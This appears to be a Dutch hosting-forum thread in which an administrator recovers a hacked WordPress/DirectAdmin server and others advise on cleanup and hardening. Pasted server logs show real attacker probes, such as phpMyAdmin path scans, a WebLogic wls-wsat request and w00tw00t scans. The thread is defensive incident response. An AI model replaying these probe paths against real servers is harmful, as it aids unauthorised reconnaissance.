Hmmm. waarom zegt mijn brein nu dat ik een foto van Chazia Mourali moet posten?

Maak je niet druk, dat doet de compressor maar


Acties:
  • +1 Henk 'm!

  • Aganim
  • Registratie: Oktober 2006
  • Laatst online: 18:27

Aganim

I have a cunning plan..

AW_Bos schreef op dinsdag 29 mei 2018 @ 21:49:
EDat geeft ook weer inzicht in de rotzooi die je moet opruimen. Al zou een backup een beter initiatief zijn.
Ook raad ik https://www.patchman.co/ aan, om de WP-installaties van je klanten up-2-date te houden en te patchen. Het werkt tevens ook in DirectAdmin.
Maar vergeet dan niet zeer regelmatig zelf ook na te kijken of alles up-to-date is. Patchman is (helaas) niet perfect en heb ik dermate grote steken zien laten vallen dat wij het de deur uit hebben geschopt.

Wordfence kan je ook eens proberen, deze plugin kan je instellen om waarschuwingen te geven als er updates voor WP en/of plugins klaarstaan en controleert of de aanwezige WP bestanden niet aangepast zijn. Maar ook daar gaat voor op: het werkt niet altijd 100%, ook Wordfence mist weleens wat, zeker als een website al geïnfecteerd is voor installatie.
AW_Bos schreef op dinsdag 29 mei 2018 @ 22:37:
Nog een goede tip: Kijk in DirectAdmin ook of er gemaild (lees: gespamd) wordt. Dit houdt DA ook bij.
Zou rot zijn als je op een blacklist terecht komt.
Zou ik nog aan willen vullen met: limiteer de hoeveelheid mail die gebruikers per dag kunnen versturen. Een gebruiker die normaal 5 mailtjes op een dag verstuurd zal niet snel last hebben van een limiet van (bijv.) 200 mails per dag. Je zou inderdaad de eerste niet zijn waarbij de server in no-time 30.000 mails uit heeft gestuurd en bij de diverse spampartijen op de blacklist is gezet. Je krijgt standaard als admin ook meteen een bericht als gebruikers de limiet overschrijden.
Thralas schreef op dinsdag 29 mei 2018 @ 22:35:
iig. is het scheiden van userids iets dat iedere shared hoster toepast. Vroeger met suexec, tegenwoordig met CloudLinux. DirectAdmin kan dat vast voor je regelen (verbouwt immers sowieso je hele server, toch).
Als je gebruik maakt van PHP-FPM worden PHP scripts onder de eigen gebruiker geladen, je hebt dan dus automatisch al je scheiding tussen gebruikers.

CloudLinux zal je sowieso een losse licentie voor af moeten nemen en installeer je los, waarbij CL je verbouwde DA server nogmaals zal verbouwen. :P

Acties:
  • 0 Henk 'm!

  • Josk79
  • Registratie: September 2013
  • Laatst online: 01:51
Taro schreef op dinsdag 29 mei 2018 @ 22:00:
Als ik bijvoorbeeld het volgende gebruik dan vind ik alle PHP files die de afgelopen week zijn aangepast. Omdat ik tussendoor ook WP Updates heb doorgevoerd is het nogal een lijst. Enig idee hoe ik die kan verkleinen?

find . -type f -name '*.php' -newermt 20180521 \! -newermt 20180529
Ik heb je 2x proberen duidelijk te maken hoe je met grep kunt zoeken.

Acties:
  • 0 Henk 'm!

  • Taro
  • Registratie: September 2000
  • Niet online

Taro

Moderator General Chat / Wonen & Mobiliteit
Topicstarter
In de logs die helaas maar tot 27/May/2018:03:18:03 +0200 terug gaan vind ik o.a. het volgende:

code:
1
2
3
94.130.35.51 - - [27/May/2018:15:37:57 +0200] "GET / HTTP/1.1" 200 4471 "https://DOMEIN.nl/" "Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1"
104.238.94.3 - - [27/May/2018:15:37:58 +0200] "GET /start73.php HTTP/1.0" 404 4290 "https://DOMEIN.nl/start73.php" "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko"
50.62.176.251 - - [27/May/2018:15:38:00 +0200] "GET /dump81.php HTTP/1.0" 404 4290 "https://DOMEIN.nl/dump81.php" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36"


200 x het volgende, toen was het al gestart blijkbaar.

code:
1
127.0.0.1 - - [28/May/2018:23:51:27 +0200] "POST /wp-login.php HTTP/1.0" 404 223


En een enorme lijst met o.a. het volgende vlak daarvoor:
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
150.109.56.171 - - [28/May/2018:22:07:22 +0200] "PROPFIND / HTTP/1.1" 404 564 "-" "-"
150.109.56.171 - - [28/May/2018:22:07:22 +0200] "POST /wls-wsat/CoordinatorPortType HTTP/1.1" 404 511 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0"
150.109.56.171 - - [28/May/2018:22:07:23 +0200] "GET /index.php HTTP/1.1" 404 299 "-" "Mozilla/5.0"
150.109.56.171 - - [28/May/2018:22:07:23 +0200] "GET /phpmyadmin/index.php HTTP/1.1" 401 9265 "-" "Mozilla/5.0"
150.109.56.171 - - [28/May/2018:22:07:26 +0200] "GET /phpMyAdmin/index.php HTTP/1.1" 401 9265 "-" "Mozilla/5.0"
150.109.56.171 - - [28/May/2018:22:07:26 +0200] "GET /pmd/index.php HTTP/1.1" 404 533 "-" "Mozilla/5.0"
150.109.56.171 - - [28/May/2018:22:07:27 +0200] "GET /pma/index.php HTTP/1.1" 401 9243 "-" "Mozilla/5.0"
150.109.56.171 - - [28/May/2018:22:07:27 +0200] "GET /PMA/index.php HTTP/1.1" 404 533 "-" "Mozilla/5.0"
150.109.56.171 - - [28/May/2018:22:07:28 +0200] "GET /PMA2/index.php HTTP/1.1" 404 533 "-" "Mozilla/5.0"
150.109.56.171 - - [28/May/2018:22:07:30 +0200] "GET /pmamy/index.php HTTP/1.1" 404 534 "-" "Mozilla/5.0"
150.109.56.171 - - [28/May/2018:22:07:30 +0200] "GET /pmamy2/index.php HTTP/1.1" 404 535 "-" "Mozilla/5.0"
150.109.56.171 - - [28/May/2018:22:07:30 +0200] "GET /mysql/index.php HTTP/1.1" 404 534 "-" "Mozilla/5.0"
150.109.56.171 - - [28/May/2018:22:07:31 +0200] "GET /admin/index.php HTTP/1.1" 404 534 "-" "Mozilla/5.0"
150.109.56.171 - - [28/May/2018:22:07:31 +0200] "GET /db/index.php HTTP/1.1" 404 531 "-" "Mozilla/5.0"
150.109.56.171 - - [28/May/2018:22:07:31 +0200] "GET /dbadmin/index.php HTTP/1.1" 404 536 "-" "Mozilla/5.0"
150.109.56.171 - - [28/May/2018:22:07:31 +0200] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 543 "-" "Mozilla/5.0"
150.109.56.171 - - [28/May/2018:22:07:32 +0200] "GET /admin/pma/index.php HTTP/1.1" 404 538 "-" "Mozilla/5.0"


In de Error log o.a. (Zie ook de lange laatste regel, of is dat iets onschuldigs?):
code:
1
2
3
4
5
6
[Mon May 28 02:52:05.815973 2018] [proxy_fcgi:error] [pid 1801:tid 139962252814080] [client 47.106.149.44:38760] AH01071: Got error 'Primary script unknown\n'
[Mon May 28 02:57:49.986456 2018] [proxy_fcgi:error] [pid 1801:tid 139962946066176] [client 47.106.37.223:35736] AH01071: Got error 'Primary script unknown\n'
[Mon May 28 03:03:09.969955 2018] [proxy_fcgi:error] [pid 1801:tid 139962462611200] [client 47.106.157.151:53766] AH01071: Got error 'Primary script unknown\n'
[Mon May 28 07:47:42.122556 2018] [proxy_fcgi:error] [pid 1801:tid 139962242324224] [client 46.105.101.95:53177] AH01071: Got error 'Primary script unknown\n'
[Mon May 28 07:47:42.140385 2018] [proxy_fcgi:error] [pid 1802:tid 139962357712640] [client 46.105.101.95:54215] AH01071: Got error 'Primary script unknown\n'
[Mon May 28 12:26:13.681764 2018] [core:error] [pid 1802:tid 139962336732928] (36)File name too long: [client 137.226.113.10:51967] AH00036: access to /YesThisIsAReallyLongRequestURLbutWeAreDoingItOnPurposeWeAreScanningForResearchPurposePleaseHaveALookAtTheUserAgentTHXYesThisIsAReallyLongRequestURLbutWeAreDoingItOnPurposeWeAreScanningForResearchPurposePleaseHaveALookAtTheUserAgentTHXYesThisIsAReallyLongRequestURLbutWeAreDoingItOnPurposeWeAreScanningForResearchPurposePleaseHaveALookAtTheUserAgentTHXYesThisIsAReallyLongRequestURLbutWeAreDoingItOnPurposeWeAreScanningForResearchPurposePleaseHaveALookAtTheUserAgentTHXYesThisIsAReallyLongRequestURLbutWeAreDoingItOnPurposeWeAreScanningForResearchPurposePleaseHaveALookAtTheUserAgentTHXYesThisIsAReallyLongRequestURLbutWeAreDoingItOnPurposeWeAreScanningForResearchPurposePleaseHaveALookAtTheUserAgentTHXYesThisIsAReallyLongRequestURLbutWeAreDoingItOnPurposeWeAreScanningForResearchPurposePleaseHaveALookAtTheUserAgentTHXYesThisIsAReallyLongRequestURLbutWeAreDoingItOnPurposeWeAreScanningForResearchPurposePleaseHaveALookAtTheUserAgentTHXYesThisIsAReallyLongRequestURLbutWeAreDoingItOnPurposeWeAreScann failed (filesystem path '/var/www/html/YesThisIsAReallyLongRequestURLbutWeAreDoingItOnPurposeWeAreScanningForResearchPurposePleaseHaveALookAtTheUserAgentTHXYesThisIsAReallyLongRequestURLbutWeAreDoingItOnPurposeWeAreScanningForResearchPurposePleaseHaveALookAtTheUserAgentTHXYesThisIsAReallyLongRequestURLbutWeAreDoingItOnPurposeWeAreScanningForResearchPurposePleaseHaveALookAtTheUserAgentTHXYesThisIsAReallyLongRequestURLbutWeAreDoingItOnPurposeWeAreScanningForResearchPurposePleaseHaveALookAtTheUserAgentTHXYesThisIsAReallyLongRequestURLbutWeAreDoingItOnPurposeWeAreScanningForResearchPurposePleaseHaveALookAtTheUserAgentTHXYesThisIsAReallyLongRequestURLbutWeAreDoingItOnPurposeWeAreScanningForResearchPurposePleaseHaveALookAtTheUserAgentTHXYesThisIsAReallyLongRequestURLbutWeAreDoingItOnPurposeWeAreScanningForResearchPurposePleaseHaveALookAtTheUserAgentTHXYesThisIsAReallyLongRequestURLbutWeAreDoingItOnPurposeWeAreScanningForResearchPurposePleaseHaveALookAtTheUserAgentTHXYesThisIsAReallyLongRequestURLbutWeAreDoingItOnPurposeWeAreScann')


User & IP log (zonder tijd helaas):

code:
1
2
3
4
5
6
524 "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1"
511 "GET /phpMyAdmin/scripts/setup.php HTTP/1.1"
511 "GET /phpmyadmin/scripts/setup.php HTTP/1.1"
504 "GET /pma/scripts/setup.php HTTP/1.1"
508 "GET /myadmin/scripts/setup.php HTTP/1.1"
508 "GET /MyAdmin/scripts/setup.php HTTP/1.1"


In de website die ik vorige week heb toegevoegd vind ik zo snel geen foute code.

Plan van aanpak:
Ik bel zo de serverprovider, vraag of ze de server opnieuw willen installeren, want ik vertrouw los van de websites ook Linux niet meer. Dan heeft ook Linux en DA nieuwe wachtwoorden. Daarna zet ik geen DirectAdmin back-up terug, maar per website de code en database nadat ik de code heb bekeken. Dan pas ik per stuk direct alle WP logins aan.

Ik kan helaas de back-ups niet makkelijk diff'en, omdat de back-ups op een Windows platform staan en de huidige code op een Linux server staat. Ik gebruik geen GIT, dus zou dan een tooltje moeten installeren en kijken of ik de huidige code ernaast kan zetten. Daar ben ik al mee bezig, maar het feit dat er tussendoor ook WordPress updates zijn doorgevoerd maakt het allemaal niet makkelijker.

Sorry dat ik gisteren sommige opmerkingen heb genegeerd, maar ik was de wanhoop behoorlijk nabij...

En @Josk79, excuses, lukt inmiddels.

[ Voor 41% gewijzigd door Taro op 30-05-2018 07:25 ]

Replace fear of the unknown with curiosity | 54 kWh thuisaccu's | Tesla Model Y LR & Model 3 SR+ | Totaal 190 kWh opslag | 10.660 Wp zonnepanelen | 3xMHI WP


Acties:
  • +1 Henk 'm!

  • Aganim
  • Registratie: Oktober 2006
  • Laatst online: 18:27

Aganim

I have a cunning plan..

Diverse virusscanners, waaronder ESET, pakken ook verdachte PHP code en een aantal exploits op. Je zou die kunnen gebruiken om je websites op je lokale pc alvast een snelle opschoonbeurt te geven. Echter: Wordpress voor geïnfecteerde websites kan je het beste schoon installeren, ook de plugins. Dat kost je minder tijd dan alle bestanden aflopen. Daarna zou je het thema en de uploads map terug kunnen zetten, mits je deze helemaal hebt nagelopen, anders ben je zo weer de pineut. Check in de database vooral even de users tabel.

En zoals aangegeven, zorg dat op de nieuwe server PHP als PHP-FPM draait om te voorkomen dat scripts direct bij de andere gebruikers kunnen komen.

Succes!

Acties:
  • 0 Henk 'm!

  • Taro
  • Registratie: September 2000
  • Niet online

Taro

Moderator General Chat / Wonen & Mobiliteit
Topicstarter
Aganim schreef op woensdag 30 mei 2018 @ 07:37:
Diverse virusscanners, waaronder ESET, pakken ook verdachte PHP code en een aantal exploits op. Je zou die kunnen gebruiken om je websites op je lokale pc alvast een snelle opschoonbeurt te geven. Echter: Wordpress voor geïnfecteerde websites kan je het beste schoon installeren, ook de plugins. Dat kost je minder tijd dan alle bestanden aflopen. Daarna zou je het thema en de uploads map terug kunnen zetten, mits je deze helemaal hebt nagelopen, anders ben je zo weer de pineut. Check in de database vooral even de users tabel.

En zoals aangegeven, zorg dat op de nieuwe server PHP als PHP-FPM draait om te voorkomen dat scripts direct bij de andere gebruikers kunnen komen.

Succes!
Goede tip, ESET vindt inderdaad de bestanden en geeft een PHP/Agent.le Trojaans paard melding en verwijderd ze.

Ik ben nu stuk voor stuk de DirectAdmin backups aan het uitpakken, de eerste waar ik geen melding op krijg ga ik nader inspecteren. Dan ga ik daarna de websites en db's van die datum of de dag ervoor stuk voor stuk uploaden naar een schone server.

Ik draai al PHP-FPM, maar volgens mij kan die juist niet op die manier draaien?

[ Voor 3% gewijzigd door Taro op 30-05-2018 08:00 ]

Replace fear of the unknown with curiosity | 54 kWh thuisaccu's | Tesla Model Y LR & Model 3 SR+ | Totaal 190 kWh opslag | 10.660 Wp zonnepanelen | 3xMHI WP


Acties:
  • 0 Henk 'm!

  • DJMaze
  • Registratie: Juni 2002
  • Niet online
@Taro nieuwe server zou ik eerder voor cPanel of Plesk gaan. Hoef je niet zo te klooien in SSH om de beveiliging te verbeteren.
DirectAdmin is out-of-the-box niet zo veilig.

Verder: de databases kunnen ook aangepast zijn. Check die ook.
Taro schreef op woensdag 30 mei 2018 @ 06:53:
Ik kan helaas de back-ups niet makkelijk diff'en, omdat de back-ups op een Windows platform staan
Gebruik WinMerge

[ Voor 49% gewijzigd door DJMaze op 30-05-2018 10:33 ]

Maak je niet druk, dat doet de compressor maar


Acties:
  • 0 Henk 'm!

  • Taro
  • Registratie: September 2000
  • Niet online

Taro

Moderator General Chat / Wonen & Mobiliteit
Topicstarter
In overleg met de serverprovider heb ik inmiddels een nieuwe CentOS7 server met DirectAdmin draaien. Het is een optie om over te stappen naar Plesk of cPanel, maar dan had ik de backup niet terug kunnen zetten.

Inmiddels is ClamAV weer geïnstalleerd, ook maldet draait nu, ik heb suhosin, mod_secure en PHP 5.6 ipv 7 geïnstalleerd.

De server draait op een nieuw IP, ben nu alle WP logins aan het uitschakelen/veranderen. Met grep geen vage dingen tegengekomen, ook nog geen vreemde .ico bestanden gevonden. Maldet en Eset vinden in deze bestanden ook niets. De databases controleren lijkt mij een lastige, ik heb geen aanknopingspunten om op te zoeken. In alle WP configs heb ik disallow_file_edit nog even nagelopen en overal op true gezet.

Als de WP logins zijn aangepast maak ik een snapshot en gaan ze de server op het oude IP zetten, dan is het duimen of en hoe lang het goed blijft gaan.

Sowieso zie ik dit als een tijdelijke actie, ik wil de websites ergens anders onder gaan brengen, ik moet nog even kijken hoe en waar.

Replace fear of the unknown with curiosity | 54 kWh thuisaccu's | Tesla Model Y LR & Model 3 SR+ | Totaal 190 kWh opslag | 10.660 Wp zonnepanelen | 3xMHI WP


Acties:
  • 0 Henk 'm!

  • Aganim
  • Registratie: Oktober 2006
  • Laatst online: 18:27

Aganim

I have a cunning plan..

suhosin, mod_secure en PHP 5.6
:F

PHP 5.6 is end of life en ontvangt in principe geen beveiligingspatches meer. CentOS backport zelf wel, maar aangezien DA bij mijn weten PHP niet uit de CentOS repo haalt heb je nu dus een potentieel onveilige PHP versie op je machine.
Sowieso zie ik dit als een tijdelijke actie
Dat hoop ik wel ja. :9

[ Voor 13% gewijzigd door Aganim op 30-05-2018 15:59 ]


Acties:
  • 0 Henk 'm!

  • Taro
  • Registratie: September 2000
  • Niet online

Taro

Moderator General Chat / Wonen & Mobiliteit
Topicstarter
Hij komt uit de DirectAdmin repo, daar is een paar weken geleden nog een nieuwe versie voor uitgekomen: http://php.net/archive/2018.php#id2018-04-26-4

Ik had dat al even gecontroleerd. Ik ga snel weer over naar de 7.x serie, maar naar mijn weten is dit nu net zo veilig als 7.x, daarnaast kon ik er een aantal aanvullende beveiligingsmodules voor aanzetten in tegenstelling tot 7.x / FPM.

Replace fear of the unknown with curiosity | 54 kWh thuisaccu's | Tesla Model Y LR & Model 3 SR+ | Totaal 190 kWh opslag | 10.660 Wp zonnepanelen | 3xMHI WP


Acties:
  • 0 Henk 'm!

  • DJMaze
  • Registratie: Juni 2002
  • Niet online
@Taro als "beveiligingsmodules" niet in PHP7 zitten, is dat met een reden.
Daarnaast zou dit ook niet de taak moeten zijn van PHP, maar van de scripts en de server beheerder.

DA is gewoon een ruk systeem als je "beveiliging" wilt.
Denk ook dat e-mails van jouw server, mijn server nooit fatsoenlijk zal accepteren :)

Maak je niet druk, dat doet de compressor maar


Acties:
  • 0 Henk 'm!

  • Hero of Time
  • Registratie: Oktober 2004
  • Nu online

Hero of Time

Moderator LNX

There is only one Legend

Als je fatsoenlijk PHP 7 wilt, neem dan de repo van Webtatic. Of kijk naar andere goed aangeschreven repos. Die van DA vertrouw ik niet. DA zelf al helemaal niet. Dat er een 'update' is geweest zegt nog steeds geen drol als het enige wat is aangepast een typo in een of ander document of comment dingetje is opgelost.

En dat je met cPanel en Plesk je backup niet terug kan zetten is natuurlijk onzin. Je hebt toch een .zip met allerlei bestanden erin? Die kan je ook zelf met scp/sftp terug op je server zetten. Neem je mc (midnight commander), dan kan je met een soort van GUI de bestanden zelf op de juiste plek zetten.

Commandline FTW | Tweakt met mate


Acties:
  • 0 Henk 'm!

  • Taro
  • Registratie: September 2000
  • Niet online

Taro

Moderator General Chat / Wonen & Mobiliteit
Topicstarter
Hero of Time schreef op woensdag 30 mei 2018 @ 20:17:
Als je fatsoenlijk PHP 7 wilt, neem dan de repo van Webtatic. Of kijk naar andere goed aangeschreven repos. Die van DA vertrouw ik niet. DA zelf al helemaal niet. Dat er een 'update' is geweest zegt nog steeds geen drol als het enige wat is aangepast een typo in een of ander document of comment dingetje is opgelost.

En dat je met cPanel en Plesk je backup niet terug kan zetten is natuurlijk onzin. Je hebt toch een .zip met allerlei bestanden erin? Die kan je ook zelf met scp/sftp terug op je server zetten. Neem je mc (midnight commander), dan kan je met een soort van GUI de bestanden zelf op de juiste plek zetten.
Ik heb/had losse backups van de databases, websites, mail en daarnaast een aantal complete DirectAdmin backups. Die laatste is dus inclusief een aantal instellingen. Die eerste kan je inderdaad prima ergens anders uploaden, maar die laatste niet, vandaar.

Ik denk erover om de hosting uit te gaan besteden, op dit incident na (waarschijnlijk veroorzaakt door een plugin die geupload is door een gebruiker...) gaat het al 4.5 jaar lang goed. Maar het kost mij gewoon teveel tijd naast mijn fulltime baan om alles steeds te onderhouden en bij te werken.

Weten jullie een goede plek om niet bij de standaard partijen als TransIP, Mijndomein, etc. uit te komen, maar een partij of een persoon die net even wat meer snelheid biedt en wat meer geheugen toekent en dergelijke? is daar een soort werkspot.nl ofzo voor? Want ik ben eerder juist bij MijnDomein weggegaan omdat WordPress memory usage errors gaf en erg traag was door overselling.

Replace fear of the unknown with curiosity | 54 kWh thuisaccu's | Tesla Model Y LR & Model 3 SR+ | Totaal 190 kWh opslag | 10.660 Wp zonnepanelen | 3xMHI WP


Acties:
  • 0 Henk 'm!

  • Hero of Time
  • Registratie: Oktober 2004
  • Nu online

Hero of Time

Moderator LNX

There is only one Legend

Taro schreef op donderdag 31 mei 2018 @ 20:25:
[...]

Ik heb/had losse backups van de databases, websites, mail en daarnaast een aantal complete DirectAdmin backups. Die laatste is dus inclusief een aantal instellingen. Die eerste kan je inderdaad prima ergens anders uploaden, maar die laatste niet, vandaar.
Wat is er zo speciaal aan zo'n DA backup dan? Welke 'instellingen' gaat het dan om? Het zou niet meer dan een .conf bestand moeten zijn en die kan je ook zo overnemen, of deels ervan.
Ik denk erover om de hosting uit te gaan besteden, op dit incident na (waarschijnlijk veroorzaakt door een plugin die geupload is door een gebruiker...) gaat het al 4.5 jaar lang goed. Maar het kost mij gewoon teveel tijd naast mijn fulltime baan om alles steeds te onderhouden en bij te werken.
Goed idee, dat wilde ik je ook al voorstellen. Maar, dan komt een volgende vraag, waarom host jij al die dingen of beheer je de sites? De betreffende gebruikers kunnen toch zelf zo'n webpakket aanschaffen bij een partij, die dan ook het volledige beheer doet?

[ Voor 8% gewijzigd door Hero of Time op 31-05-2018 21:24 ]

Commandline FTW | Tweakt met mate


Acties:
  • 0 Henk 'm!

  • Taro
  • Registratie: September 2000
  • Niet online

Taro

Moderator General Chat / Wonen & Mobiliteit
Topicstarter
Hero of Time schreef op donderdag 31 mei 2018 @ 21:23:
Goed idee, dat wilde ik je ook al voorstellen. Maar, dan komt een volgende vraag, waarom host jij al die dingen of beheer je de sites? De betreffende gebruikers kunnen toch zelf zo'n webpakket aanschaffen bij een partij, die dan ook het volledige beheer doet?
Het zijn stuk voor stuk klanten die persoonlijke service zoeken, ze willen geen nummer bij een grote partij zijn. Daarnaast zitten er een paar klanten tussen die ook mailhosting doen en daarnaast SEO optimalisatie en performance optimalisatie. Ook verzorg ik via een script (WP-CLI) dagelijks alle WordPress updates voor ze.

Het zijn dus ook klanten die niet voor een dubbeltje op de eerste rij willen zitten, maar ontzorgt willen worden. Daarom wil ik ze ook graag helpen en ik kan dus ook best een x bedrag missen, het hoeft niet voor 10-20 Euro per jaar per account.

Verder heb ik zelf zo'n 15-20 websites, een eigen server kon dus voor mij al snel zelf uit :)

Replace fear of the unknown with curiosity | 54 kWh thuisaccu's | Tesla Model Y LR & Model 3 SR+ | Totaal 190 kWh opslag | 10.660 Wp zonnepanelen | 3xMHI WP


Acties:
  • 0 Henk 'm!

  • Hero of Time
  • Registratie: Oktober 2004
  • Nu online

Hero of Time

Moderator LNX

There is only one Legend

En toch zijn er partijen die dat voor je regelen en je niet wordt behandeld als nummertje.

Commandline FTW | Tweakt met mate


Acties:
  • 0 Henk 'm!

  • DJMaze
  • Registratie: Juni 2002
  • Niet online
Taro schreef op donderdag 31 mei 2018 @ 21:26:
Het zijn stuk voor stuk klanten die persoonlijke service zoeken
Die klanten heb ik ook :p
Maar WordPress is een no-go. Dan krijgen ze een eigen VPS voor €30 per maand excl. servicekosten.
Dan blijkt WordPress niet de heilige graal :)

Ander CMS dan kan het wel op shared hosting

Maak je niet druk, dat doet de compressor maar

Pagina: 1